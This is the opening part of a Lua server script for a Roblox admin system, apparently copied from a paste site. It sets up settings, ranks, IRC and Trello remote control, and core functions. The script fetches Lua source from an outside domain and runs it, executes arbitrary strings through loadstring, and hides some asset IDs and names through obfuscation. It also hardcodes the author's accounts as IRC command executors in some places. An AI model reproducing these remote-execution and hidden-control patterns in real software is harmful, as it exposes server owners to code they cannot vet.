· 9 years ago · Dec 24, 2016, 06:32 PM
1local Settings = {
2 Ranks = {
3 ["Owner"] = {raneif};
4 ["Admin"] = {};
5 ["Member"] = {};
6 ["Banned"] = {};
7 ["Crashed"] = {};
8 ["Muted"] = {};
9 };
10
11 Prefix = ";";
12 Bet = " ";
13 MinimumAge = 0;
14 ServerLocked = false;
15 ColorScheme = "White";
16 TransparencyScheme = 50;
17 Fun = true;
18 EnableAdminMenu = true;
19 EnableTaskBar = true;
20 FreeAdmin = false;
21 Font = "Arial";
22
23 DisableAbuse = false;
24 AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"};
25 AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
26
27 LinkedAccount = "";
28 DataKey = "";
29
30 ExecuteNotificationSound = 0; --177578949
31 EnableSounds = true;
32
33 VIPMemberID = 0;
34 VIPAdminID = 0;
35
36 GroupID = 0;
37 GroupBanRank = 0;
38 GroupMemberRank = 0;
39 GroupAdminRank = 0;
40 GroupOwnerRank = 481839;
41 GroupRankBan = 0;
42 BannedGroupIDs = {};
43
44 IRCServer = "";
45 IRCChannel = "";
46 IRCCommandExecuters = {};
47
48 TrelloToken = ""
49}
50
51local Colors = {
52 ["WHITE"] = Color3.new(1,1,1);
53 ["BLACK"] = Color3.new(0,0,0);
54 ["GRAY"] = Color3.new(0.5,0.5,0.5);
55 ["RED"] = Color3.new(1,0,0);
56 ["GREEN"] = Color3.new(0,1,0);
57 ["BLUE"] = Color3.new(0,0,1);
58 ["YELLOW"] = Color3.new(1,1,0);
59 ["PINK"] = Color3.new(1,0,1);
60 ["MAGENTA"] = Color3.new(1,0,1);
61 ["CYAN"] = BrickColor.new("Cyan").Color;
62 ["TEAL"] = BrickColor.new("Teal").Color;
63 ["BROWN"] = Color3.new(0.55,0.25,0.075);
64 ["PURPLE"] = Color3.new(0.5,0,0.5);
65 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
66}
67
68local Server = {
69 Workspace = game:GetService("Workspace");
70 Players = game:GetService("Players");
71 Lighting = game:GetService("Lighting");
72 MPS = game:GetService("MarketplaceService");
73 TS = game:GetService("TeleportService");
74 HS = game:GetService("HttpService");
75 RS = game:GetService("RunService");
76 PS = game:GetService("PointsService");
77 TestS = game:GetService("TestService");
78 IS = game:GetService("InsertService");
79 Teams = game:GetService("Teams");
80 Data = game:GetService("DataStoreService");
81 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
82 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
83}
84
85local Icons = {
86 ["Message"] = 7724351;
87 ["Error"] = 94011556;
88 ["Information"] = 144175130;
89 ["Check"] = 132769976;
90 ["Search"] = 61994930;
91 ["Time"] = 136391033;
92 ["Notice"] = 156507320;
93 ["Sound"] = 164682936;
94 ["Log"] = 70650545;
95 ["Question"] = 41363872;
96 ["Output"] = 11481605;
97 ["Admin"] = 302470270;
98 ["Lock"] = 11341626;
99 ["Settings"] = 131064748;
100 ["Map"] = 257119661;
101 ["Plugin"] = 257097414;
102}
103
104local IRC = {
105 Codes = {
106 ["001"] = "RPL_WELCOME",
107 ["002"] = "RPL_YOURHOST",
108 ["003"] = "RPL_CREATED",
109 ["004"] = "RPL_MYINFO",
110 ["005"] = "RPL_ISUPPORT",
111 ["250"] = "RPL_STATSCONN",
112 ["251"] = "RPL_LUSERCLIENT",
113 ["252"] = "RPL_LUSEROP",
114 ["254"] = "RPL_LUSERCHANNELS",
115 ["255"] = "RPL_LUSERME",
116 ["265"] = "RPL_LOCALUSERS",
117 ["266"] = "RPL_GLOBALUSERS",
118 ["352"] = "RPL_WHOREPLY",
119 ["371"] = "RPL_INFO",
120 ["372"] = "RPL_MOTD",
121 ["374"] = "RPL_ENDINFO",
122 ["375"] = "RPL_MOTDSTART",
123 ["376"] = "RPL_ENDOFMOTD",
124 ["422"] = "ERR_NOMOTD",
125 },
126 Ignore = {
127 ["004"] = true,
128 ["005"] = true,
129 };
130 Users = {};
131 Logs = {};
132 Chats = {};
133 Forms = {};
134 MessageAdded = Instance.new("BindableEvent");
135
136 Servers = {
137 ["esper.net"] = {
138 BaseUrl = "http://webchat.esper.net/";
139 DynamicUrl = "";
140 };
141 ["quakenet.org"] = {
142 BaseUrl = "http://webchat.quakenet.org/";
143 DynamicUrl = "dynamic/leibniz",
144 };
145 ["swiftirc.net"] = {
146 BaseUrl = "http://qwebirc.swiftirc.net/";
147 DynamicUrl = "",
148 };
149 };
150 NickName = "rbxMMLV3_"..math.random(1,100000);
151
152 SessionCounter = 0;
153 Connected = false;
154 Stop = false;
155 SessionID = "";
156}
157
158local RankHUD = {
159 ["Muted"] = 202180094;
160 ["Non-Admin"] = 202180121;
161 ["Member"] = 202180052;
162 ["Admin"] = 202180015;
163 ["Owner"] = 202179988;
164}
165
166local TextConverter = {
167 LetterSounds = {
168 ["a"] = {223757826, nil}; -- 203343899
169 ["b"] = {223533700, 0.2}; -- 203344029
170 ["c"] = {223533711, nil}; -- 203343994
171 ["d"] = {223757910, nil}; -- 203398237
172 ["e"] = {223758026, nil}; -- 203398295
173 ["f"] = {223777655, nil}; -- 203398347
174 ["g"] = {223777738, nil}; -- 203398372
175 ["h"] = {223777757, nil}; -- 203398397
176 ["i"] = {223777807, nil}; -- 203398422
177 ["j"] = {223782888, nil}; -- 203398450
178 ["k"] = {223533711, nil}; -- 203343994
179 ["l"] = {223782961, 0.4}; -- 203398541
180 ["m"] = {223782992, nil}; -- 203398578
181 ["n"] = {223783063, nil}; -- 203398599
182 ["o"] = {223783184, nil}; -- 203398611
183 ["p"] = {223783235, nil}; -- 203398727
184 ["q"] = {223783260, nil}; -- 203398755
185 ["r"] = {223783305, 0.2}; -- 203398792
186 ["s"] = {223783377, nil}; -- 203398806
187 ["t"] = {223783446, nil}; -- 203398850
188 ["u"] = {223783512, nil}; -- 203398872
189 ["v"] = {223783654, nil}; -- 203398965
190 ["w"] = {223783697, nil}; -- 203398984
191 ["x"] = {223783796, nil}; -- 203399008
192 ["y"] = {223783853, nil}; -- 203399043
193 ["z"] = {223783893, nil}; -- 203399096
194
195 ["ch"] = {223784367, 0.3}; -- 203592149
196 ["th"] = {223788235, 0.3}; -- 203399215
197 ["sh"] = {223784505, 0.2}; -- 203399566
198 ["wh"] = {223784555, 0.3}; -- 203622828
199 ["oo"] = {223784456, 0.3}; -- 203399743
200 ["ing"] = {223784393, 0.3}; -- 203402836
201 };
202
203 LongVowels = {
204 ["a"] = {223533687, nil}; -- 203343932
205 ["e"] = {223777620, nil}; -- 203398314
206 ["i"] = {223777855, nil}; -- 203398440
207 ["o"] = {223783212, nil}; -- 203398619
208 ["u"] = {223783572, nil}; -- 203398897
209 };
210
211 Pronounce = {
212 ["0"] = "zero";
213 ["1"] = "wun";
214 ["2"] = "too";
215 ["3"] = "three";
216 ["4"] = "four";
217 ["5"] = "five";
218 ["6"] = "six";
219 ["7"] = "seven";
220 ["8"] = "eyt";
221 ["9"] = "nine";
222 ["one"] = "wun";
223 ["two"] = "too";
224 ["eight"] = "eyt";
225 ["eigh"] = "ey";
226 ["gh"] = "h";
227 ["kn"] = "n";
228 ["come"] = "cu".."m";
229 ["bye"] = "bi";
230 ["#"] = "hashtag";
231 ["@"] = "at";
232 ["&"] = "and";
233 ["*"] = "astrict";
234 ["mn"] = "m";
235 ["kn"] = "n";
236 ["ies"] = "ees";
237 };
238
239 NonEnglishRules = {
240 ["to"] = "too";
241 ["you"] = "yoo";
242 ["we"] = "wee";
243 ["are"] = "erh";
244 ["your"] = "yoor";
245 ["you're"] = "yoor";
246 ["youre"] = "yoor";
247 ["pizza"] = "peetzoh";
248 ["ok"] = "okay";
249 ["have"] = "hav";
250 ["my"] = "mi";
251 ["me"] = "mee";
252 ["u"] = "yoo";
253 ["r"] = "erh";
254 ["move"] = "moov";
255 ["dove"] = "duv";
256 ["debris"] = "debree";
257 ["do"] = "doo";
258 }
259}
260
261local HTMLDecode = {
262 ["35"] = "#";
263 ["36"] = "$";
264 ["37"] = "%%";
265 ["38"] = "*";
266 ["39"] = "'";
267 ["58"] = ":";
268 ["59"] = ";";
269 ["60"] = "<";
270 ["62"] = ">";
271}
272
273
274local Packages = {
275 [27112438] = {27112025,27112039,27112052,27112056,27112068};
276 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
277 [77518833] = {77518564,77518616,77518654,77518696,77518737};
278 [32336368] = {32336059,32336117,32336182,32336243,32336306};
279 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
280 [54116460] = {54116290,54116338,54116373,54116394,54116432};
281 [39977366] = {39976703,39976829,39976927,39977192,39977295};
282 [32357766] = {32357663,32357631,32357619,32357584,32357558};
283 [27123973] = {27121265,27121306,27121353,27121393,27121432};
284 [55717536] = {55717271,55717330,55717388,55717434,55717491};
285 [28279963] = {28279160,28279217,28279859,28279894,28279938};
286 [27403592] = {27402580,27402546,27402641,27402714,27402742};
287 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
288 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
289 [48474394] = {48474356,48474294};
290 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
291 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
292 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
293 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
294 [33378577] = {33378366,33378438,33378484,33378522,33378540};
295 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
296 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
297 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
298 [41851073] = {41850825,41850868,41850915,41851009,41850959}
299}
300
301local CharacterCache = {
302 {"MakerModelLua", 38837082};
303 {"LuaModelMaker", 20920633};
304 {"builderman", 156};
305 {"Shedletsky", 261};
306 {"Telamon", 13645};
307 {"ROBLOX", 1};
308}
309
310local FaceCovert = {
311 Left = "xpos";
312 Right = "xneg";
313 Front = "zpos";
314 Back = "zneg";
315 Top = "ypos";
316 Bottom = "yneg";
317}
318
319local Meshes = {
320 ["crown"] = {1, 1078075};
321 ["king"] = {1, 11419761};
322 ["teapot"] = {0.03, 1029523};
323 ["apple"] = {2.5, 16190555};
324 ["potato"] = {1, 25268275};
325 ["panda"] = {0.5, 20709221};
326 ["dominus"] = {0.5, 21057410};
327 ["fedora"] = {0.75, 13640868};
328 ["noob"] = {1, 20929341};
329 ["knife"] = {0.3, 121944778};
330 ["book"] = {0.3, 1136139};
331}
332
333local NotifySounds = {
334 ["Hover"] = 223134269;
335 ["Select"] = 292141227;
336}
337
338local Trello = {
339 AdminBoardID = "577ea1b21cb7975666524f26";
340 MainBoard = {};
341 RequiredLists = {};
342 RankChecklistCache = {};
343 ToggleChecklist = nil;
344 CommandID = nil;
345 LastCommandDT = 0;
346}
347
348-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
349-- Why else would I NOT have put it in a module?!?!?
350
351local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
352
353local SoundList,GlobalSoundList = {},{}
354local ScriptCache,MarketCache,PackageCache = {},{},Packages
355local TempChatLogs = {}
356local ToolRegions = {Server.Lighting, game:GetService("ReplicatedStorage"), game:GetService("ServerStorage")}
357local NoSpeak = false
358
359local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
360local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
361
362local ChatLogs,CommandLogs = {},{}
363local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
364local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
365local Dispose,Jails,PermCommandBars = {},{},{}
366local Waypoints = {["Center"] = Vector3.new(0,0,0)}
367local Objects = {}
368local Sound = nil
369local ModLighting = false
370local DataReady = true
371local RemoteAbuseGear = {}
372
373local GameOwner = "[ Client ]"
374local PlaceName = "Unknown"
375local PlaceInfo = {}
376local IsStudio = false
377local IsSB = false
378local Date = nil
379local Fonts = {}
380local PendingRequests = {}
381local F3X = script:FindFirstChild("F3X Tools")
382local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
383local RemoteData = {RemoteAdminWait = 60, ChatLogWait = 90, TrelloWait = 10}
384local KeyBinds = {}
385local Crowns = {}
386local LastKeys = {}
387local Cars = {}
388
389local CrownStorage = script:FindFirstChild("CrownStorage")
390if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
391
392-- import old settings just in case --
393local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
394if OldSettings then
395 OldSettings = require(OldSettings)
396
397 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
398 Settings[ValName] = OldSettings[ValName]
399 end
400 Settings.GroupBanRank = OldSettings.RankBan
401 Settings.Fun = OldSettings.FUN
402end
403
404if F3X then
405 F3X = F3X:Clone()
406 F3X.Handle.Anchored = false
407 script:FindFirstChild("F3X Tools"):Destroy()
408end
409
410wait(0.1)
411
412local SettingsValues = script.Parent:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
413
414if SettingsValues then
415 SettingsValues.Parent = game:GetService("ServerStorage") -- fokin exploiters succ my cocc
416 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
417 for _,Value in pairs(SettingsValues:GetChildren()) do
418 if Settings[Value.Name] then
419 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
420 for _,NewValue in pairs(Value:GetChildren()) do
421 if ypcall(function() return NewValue.Value end) then
422 if Settings[Value.Name][NewValue.Name] then
423 local Val = NewValue.Value
424 if type(Settings[Value.Name][NewValue.Name]) == "table" then
425 Val = {}
426 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
427 table.insert(Val, Word)
428 end
429 end
430 Settings[Value.Name][NewValue.Name] = Val
431 end
432 end
433 end
434 elseif ypcall(function() return Value.Value end) then
435 if Settings[Value.Name] then
436 local Val = Value.Value
437 if type(Settings[Value.Name]) == "table" then
438 Val = {}
439 for Word in string.gmatch(Value.Value, "%w+") do
440 table.insert(Val, Word)
441 end
442 end
443 Settings[Value.Name] = Val
444 end
445 end
446 end
447 end
448 end
449end
450
451
452if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
453 Settings.LinkedAccount = ""
454elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
455 Settings.LinkedAccount = "Admin"
456end
457
458local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
459local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
460
461wait(1)
462
463local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
464
465if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
466
467if not IsStudio then
468 Server.NS = game:GetService("NetworkServer")
469 script.Name = "Maker".."Mo".."delLua's Admin"
470end
471
472if game.PlaceId > 0 then
473 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
474 PlaceName = PlaceInfo.Name
475end
476
477if string.byte(string.sub(PlaceName,1,1)) == 226 then
478 PlaceName = string.sub(PlaceName,4,#PlaceName)
479end
480for i = 1,5 do
481 if GameOwner == "[ Client ]" then
482 print("MML's Admin: Attempting to establish owner's name #"..i)
483 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
484 wait(1)
485 end
486end
487
488if game.PlaceId == 21053279 or game.PlaceId == 21053219 or game.PlaceId == 20279777 or PlaceId == 260897989 or NLS then IsSB = true end
489
490if IsSB then
491 Settings.IRCServer = "swiftirc.net";
492 Settings.IRCChannel = "#PkamaraSB";
493 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
494 if not Settings.TrelloToken then
495 Settings.LinkedAccount = "ScriptBuilder"
496 end
497end
498local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
499table.insert(Settings.Ranks["Owner"], GameOwner)
500
501for _,Font in pairs(Enum.Font:GetEnumItems()) do
502 Fonts[Font.Name] = Font
503end
504
505local LogClient = script:FindFirstChild("AddClientInfo")
506if LogClient then LogClient:Destroy() end
507LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
508LogClient.OnServerInvoke = function(Player, Info)
509 if Info then
510 for Key,Data in pairs(Info) do
511 ClientInfo[Player.Name][Key] = Data
512 end
513 end
514end
515
516local function MakeFunction(Type, Name)
517 local Func = script:FindFirstChild(Name)
518 if Func then Func:Destroy() end
519 Func = Instance.new(Type, script) Func.Name = Name
520
521 getfenv()[Name] = Func
522 return Func
523end
524
525MakeFunction("BindableFunction", "ExecuteCommand")
526MakeFunction("RemoteFunction", "ExecuteCommandClient")
527MakeFunction("BindableFunction", "ExecuteCode")
528
529MakeFunction("RemoteFunction", "IsAdmin")
530MakeFunction("RemoteFunction", "AddExploit")
531MakeFunction("BindableFunction", "AddExploitServer")
532MakeFunction("RemoteFunction", "KickClient")
533MakeFunction("RemoteFunction", "ConvertTextToSound")
534
535MakeFunction("RemoteFunction", "KeyPressed")
536MakeFunction("RemoteFunction", "InputKey")
537
538MakeFunction("RemoteFunction", "RankPlayerLocal")
539MakeFunction("BindableFunction", "RankPlayerServer")
540
541--[[
542if NLS then
543 local Value = script:FindFirstChild("Override")
544 LogClient.Parent = game
545 if not Value then
546 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
547 local CloneScript = script:Clone()
548 CloneScript.Disabled = true
549 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
550 CloneScript.Disabled = false
551 CloneScript.Parent = nil
552
553 script:Destroy() script.Disabled = true
554 end
555end
556]]
557
558if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
559
560IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
561
562-- Core functions --
563
564function CORE:FixSettings()
565 if Settings.Bet == "/" or Settings.Bet == "-" or Settings.Bet == "(" or Settings.Bet == ")" then Settings.Bet = " " end
566 CORE:ChangeBet(Settings.Bet)
567
568 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
569 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
570
571 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
572 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
573 Settings.TransparencyScheme = Settings.TransparencyScheme/100
574
575 if not Fonts[Settings.Font] then
576 Settings.Font = "Arial"
577 end
578end
579
580function CORE:NilPlayer(Player)
581 if Player == nil or type(Player) == "table" then return true else return false end
582end
583
584function CORE:ExecuteResource(ResourceName, Parent, Data)
585 local ReturnScript = nil
586 local Executed = true
587 if script:FindFirstChild("Resources") then
588 local RawResource = script.Resources:FindFirstChild(ResourceName)
589 if RawResource then
590 local Resource = RawResource:Clone()
591 Resource.Disabled = true
592 Resource.Parent = Parent
593 if Data then
594 for Key,Value in pairs(Data) do
595 if Resource[Key] then
596 Resource[Key].Value = Value
597 end
598 end
599 end
600 wait()
601 Resource.Disabled = false
602 ReturnScript = Resource
603 else
604 Executed = false
605 end
606 else
607 Executed = false
608 end
609 if Executed == false then
610 if not Data then Data = {} end
611 local Source = ScriptCache[ResourceName]
612
613 if not Source then
614 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
615 if Source then
616 ScriptCache[ResourceName] = Source
617 end
618 end
619
620 if Data and Source then
621 for Key,Value in pairs(Data) do
622 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
623 end
624 end
625
626 if NLS and Source then
627 ReturnScript = NLS(Source, Parent)
628 end
629 end
630 return ReturnScript
631end
632
633function CORE:CreateRemotePropertyReader(Obj, Override)
634 if Server.Workspace.FilteringEnabled == true or Override then
635 local Reader = Instance.new("RemoteFunction", Obj)
636 Reader.Name = "RemotePropertyReader"
637 CORE:ExecuteResource("RemotePropertyReader", Reader)
638 return Reader
639 else
640 return Obj
641 end
642end
643
644function CORE:ReadProperty(Reader, Player, Property)
645 if Reader:IsA("RemoteFunction") then
646 return Reader:InvokeClient(Player, Property)
647 else
648 return Reader[Property]
649 end
650end
651
652function CORE:WriteProperty(Reader, Player, Property, Value)
653 if Reader:IsA("RemoteFunction") then
654 return Reader:InvokeClient(Player, Property, Value)
655 else
656 return Reader[Property]
657 end
658end
659
660
661function CORE:CreateRemoteEvent(Obj, EventName)
662 local Event = Instance.new("RemoteEvent", Obj)
663 Event.Name = "RemoteEvent_"..EventName
664 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
665 return Event
666end
667
668function CORE:HandleEvent(Obj, EventName, Func, NewThread)
669 local function Handle()
670 if Server.Workspace.FilteringEnabled == true then
671 local Event = CORE:CreateRemoteEvent(Obj, EventName)
672 return Event.OnServerEvent:connect(function(Player, ...)
673 Func(...)
674 end)
675 else
676 return Obj[EventName]:connect(Func)
677 end
678 end
679 if NewThread then
680 Spawn(Handle)
681 else
682 Handle()
683 end
684end
685
686function CORE:HandleError(Error, Speaker)
687 local Return = ""
688 if not Error or Error == "" then
689 Return = "Unknown Error"
690 else
691 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
692 end
693 if Speaker then
694 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
695 end
696 return Return
697end
698
699local function ExecuteSafe(Source, Speaker) -- no CORE
700 local Script, Error = loadstring(Source)
701 if Error then
702 return false, CORE:HandleError(Error, Speaker)
703 else
704 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
705 getfenv(Script).Server, getfenv(Script).script = Server,script
706 if Speaker then
707 getfenv(Script).print = function(...)
708 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
709 end
710 getfenv(Script).print_array = function(List)
711 if type(List) == "table" then
712 GUI:ListGui(Speaker, "Listed Table", List, "Output")
713 end
714 end
715 end
716
717 local Suc, Error = ypcall(coroutine.wrap(Script))
718
719 if not Suc then
720 Error = CORE:HandleError(Error, Speaker)
721 end
722
723 return Suc,Error
724 end
725end
726
727function CORE:GetTime(Regular, FullDate)
728 if Regular == nil then Regular = true end
729 local Meridiem = ""
730 if Regular == true then Meridiem = " AM" end
731 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
732 local Hour = math.floor(SecondsOfToday / (60*60))
733 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
734 local Second = math.floor(math.fmod(SecondsOfToday, 60))
735 if Hour > 12 and Regular == true then
736 Hour = Hour - 12
737 Meridiem = " PM"
738 end
739 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
740 if #Hour <= 1 then Hour = "0"..Hour end
741 if #Minute <= 1 then Minute = "0"..Minute end
742 if #Second <= 1 then Second = "0"..Second end
743 local Return = Hour..":"..Minute..":"..Second..Meridiem
744 if FullDate == true and Date then Return = Date.." "..Return end
745 return Return
746end
747
748function CORE:RemoveAdmin(Speaker)
749 local Answer = true -- false
750 if not CORE:NilPlayer(Speaker) then
751 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."uas's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
752 end
753 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
754 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
755 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
756 for _,Item in pairs(Player:GetChildren()) do
757 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
758 Item:Destroy()
759 end
760 end
761 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
762 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
763 GUI:Destroy()
764 end
765 end
766 end end
767 for _,Car in pairs(Cars) do
768 Car:Destroy()
769 end
770 CORE:FixLighting()
771 while wait() do
772 if script:FindFirstChild("Override") then script.Override.Value = true end
773 Settings,CORE,IRC = nil,{},{}
774 if Sound then Sound:Stop() end
775 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
776 script:ClearAllChildren() script:Destroy() script.Disabled = true
777 end
778 end
779end
780
781function CORE:MakeBase()
782 for _,Get in pairs(Workspace:GetChildren()) do
783 if Get.Name == "Base" or Get.Name == "BasePlate" then
784 Get:Destroy()
785 end
786 end
787 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
788end
789
790function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
791 if IsAbusive == nil then IsAbusive = false end
792 if Commands[CommandName] then table.remove(Commands[CommandName]) end
793 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
794end
795
796function CORE:FixLighting() coroutine.wrap(function()
797 ModLighting = false
798 wait(0.2)
799 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
800 Server.Lighting.FogColor = Color3.new(0,0,0)
801 Server.Lighting.Brightness = 1
802 Server.Lighting.TimeOfDay = 14
803 Server.Lighting.FogEnd = 100000
804end)() end
805
806function CORE:Round(Number)
807 if Number >= 0.5 then
808 return math.ceil(Number)
809 elseif Number < 0.5 then
810 return math.floor(Number)
811 end
812end
813
814local AdminID,Got = nil,false
815repeat wait()
816 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
817until Got == true
818
819function CORE:GetTable(ID)
820 local Thing = nil
821 repeat wait()
822 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
823 until Thing
824 return Thing
825end
826
827function CORE:InAdminGroup(Speaker)
828 local IsIn = false
829 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
830 if Speaker:IsInGroup(Get) then
831 IsIn = true
832 end
833 end
834 if IsIn == true then
835 return true
836 else
837 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
838 return false
839 end
840end
841
842function CORE:ReverseTable(Table)
843 if type(Table) ~= "table" then return Table end
844 local NewTable = {}
845 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
846 return NewTable
847end
848
849function CORE:Log(LogTable, Player, Chat)
850 local PlayerName = tostring(Player)
851 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
852 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
853end
854
855function CORE:Jail(Player)
856 if not Player then return nil end
857 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
858 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
859 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
860 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
861 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
